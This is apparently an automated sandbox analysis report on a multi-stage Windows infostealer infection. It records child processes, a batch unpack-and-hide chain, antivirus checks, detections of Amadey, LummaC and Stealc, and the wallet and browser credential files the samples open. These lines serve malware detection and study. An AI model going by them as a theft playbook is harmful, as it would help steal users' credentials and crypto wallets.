Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe "C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe "C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe "C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe "C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe "C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe "C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe "C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe "C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe "C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe "C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe "C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe "C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Process created: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe "C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Process created: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe "C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Process created: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe"
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Process created: unknown unknown
Source: 5cda6c90d7.exe, 0000000C.00000002.2863553827.000000000113E000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: BProgram Manager
Source: 2e4e1b8516.exe, 0000002D.00000000.3476591551.00000000006A2000.00000002.00000001.01000000.0000001E.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: file.exe, file.exe, 00000000.00000002.1759285147.0000000000A8E000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, skotes.exe, 00000001.00000002.1792074833.0000000000BDE000.00000040.00000001.01000000.00000007.sdmp Binary or memory string: Program Manager
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: EnumSystemLocalesW, 8_2_00343086
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: GetLocaleInfoW, 8_2_003430D1
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 8_2_00343178
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 8_2_00342A13
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: GetLocaleInfoW, 8_2_0033F21C
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: GetLocaleInfoW, 8_2_0034327E
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: EnumSystemLocalesW, 8_2_00342C64
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 8_2_00342CFF
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: EnumSystemLocalesW, 8_2_0033F717
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: EnumSystemLocalesW, 8_2_00342F52
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: GetLocaleInfoW, 8_2_00342FB1
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: EnumSystemLocalesW, 10_2_00343086
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: GetLocaleInfoW, 10_2_003430D1
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 10_2_00343178
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 10_2_00342A13
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: GetLocaleInfoW, 10_2_0033F21C
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: GetLocaleInfoW, 10_2_0034327E
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: EnumSystemLocalesW, 10_2_00342C64
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 10_2_00342CFF
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: EnumSystemLocalesW, 10_2_0033F717
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: EnumSystemLocalesW, 10_2_00342F52
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: GetLocaleInfoW, 10_2_00342FB1
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019812001\54682ac64c.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019812001\54682ac64c.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019813001\cc6b47fc15.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019813001\cc6b47fc15.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Queries volume information: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0086CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime, 0_2_0086CBEA
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: b6638733e4.exe, 00000013.00000003.2869803204.00000000075CF000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000003.3009363267.0000000007330000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp Binary or memory string: procmon.exe
Source: b6638733e4.exe, 00000013.00000003.2869803204.00000000075CF000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000003.3009363267.0000000007330000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp Binary or memory string: wireshark.exe
Source: 5cda6c90d7.exe, 0000000C.00000003.2800638240.000000000182D000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2860663337.0000000005E38000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2800310168.0000000005E38000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2815144465.0000000005E38000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2801132226.00000000017D2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys Clipper DLL
Source: Yara match File source: 14.2.Gxtuum.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.7739517025.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.0.Gxtuum.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.Gxtuum.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.0.7739517025.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe, type: DROPPED
Yara detected Amadeys stealer DLL
Source: Yara match File source: 1.2.skotes.exe.9a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.1758709605.0000000000851000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1790996035.00000000009A1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: 2e4e1b8516.exe PID: 4904, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: cd2469328d.exe PID: 7820, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 5cda6c90d7.exe PID: 5040, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 0000002B.00000003.3493806478.0000000005110000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 35f0a75b93.exe PID: 7748, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: cd2469328d.exe, 0000000B.00000003.2792191733.0000000000D38000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/Electrum
Source: cd2469328d.exe, 0000000B.00000003.2792191733.0000000000D38000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/ElectronCash
Source: cd2469328d.exe String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: cd2469328d.exe, 0000000B.00000003.2792191733.0000000000D38000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: 5cda6c90d7.exe, 0000000C.00000003.2838471636.0000000001816000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d\}
Source: cd2469328d.exe String found in binary or memory: ExodusWeb3
Source: cd2469328d.exe, 0000000B.00000003.2792191733.0000000000D38000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/Ethereum
Source: cd2469328d.exe String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: cd2469328d.exe, 0000000B.00000003.2691038020.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: keystore
Leaks process information
Source: global traffic TCP traffic: 192.168.2.4:49930 -> 185.121.15.192:80
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
